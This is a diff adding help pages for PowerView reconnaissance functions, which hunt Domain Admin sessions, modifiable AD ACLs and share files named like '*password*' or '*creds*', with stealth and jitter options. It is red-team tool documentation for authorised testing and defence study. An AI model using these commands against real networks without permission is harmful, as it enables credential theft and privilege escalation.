+Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} +``` + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$cred = Get-Credential testlab\administrator +``` + +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +## PARAMETERS + +### -ComputerName +Specifies an explicit computer name to retrieve events from. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +```yaml +Type: String +Parameter Sets: Domain +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Filter +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events (per host) to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +{{Fill CheckAccess Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target computer(s). + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +## NOTES + +## RELATED LINKS + +[http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/](http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/) + diff --git a/docs/Recon/Find-DomainUserLocation.md b/docs/Recon/Find-DomainUserLocation.md new file mode 100755 index 00000000..0d200aa5 --- /dev/null +++ b/docs/Recon/Find-DomainUserLocation.md @@ -0,0 +1,579 @@ +# Find-DomainUserLocation + +## SYNOPSIS +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +## SYNTAX + +### UserGroupIdentity (Default) +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserAdminCount] [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Stealth] [-StealthSource ] [-Threads ] +``` + +### ShowAll +``` +Find-DomainUserLocation [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] [-UserAdminCount] + [-UserAllowDelegation] [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-ShowAll] [-Stealth] [-StealthSource ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. +If -ShowAll is specified, all results are displayed instead of +the filtered set. +If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserLocation +``` + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainUserLocation -Stealth -ShowAll +``` + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: UserGroupIdentity +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAllowDelegation +Switch. +Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AllowDelegation + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +Switch. +Check if the current user has local admin access to computers where target users are found. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ShowAll +Switch. +Return all user location results instead of filtering based on target +specifications. + +```yaml +Type: SwitchParameter +Parameter Sets: ShowAll +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Stealth +Switch. +Only enumerate sessions from connonly used target servers. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StealthSource +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: All +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserLocation + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainAcl.md b/docs/Recon/Find-InterestingDomainAcl.md new file mode 100755 index 00000000..eeda73a7 --- /dev/null +++ b/docs/Recon/Find-InterestingDomainAcl.md @@ -0,0 +1,239 @@ +# Find-InterestingDomainAcl + +## SYNOPSIS +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +## SYNTAX + +``` +Find-InterestingDomainAcl [[-Domain] ] [-ResolveGUIDs] [-RightsFilter ] [-LDAPFilter ] + [-SearchBase ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. +If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainAcl +``` + +Finds interesting object ACLS in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs +``` + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +{{Fill RightsFilter Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainShareFile.md b/docs/Recon/Find-InterestingDomainShareFile.md new file mode 100755 index 00000000..511510fa --- /dev/null +++ b/docs/Recon/Find-InterestingDomainShareFile.md @@ -0,0 +1,463 @@ +# Find-InterestingDomainShareFile + +## SYNOPSIS +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-Include ] [-SharePath ] + [-ExcludedShares ] [-LastAccessTime ] [-LastWriteTime ] + [-CreationTime ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +### OfficeDocs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-OfficeDocs] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +### FreshEXEs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-FreshEXEs] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. +If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainShareFile +``` + +Finds 'interesting' files on the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') +``` + +Finds 'interesting' files on readable shares on the specified systems. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SharePath +Specifies one or more specific share paths to search, in the form \\\\COMPUTER\Share + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Share + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedShares +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: @('C$', 'Admin$', 'Print$', 'IPC$') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) 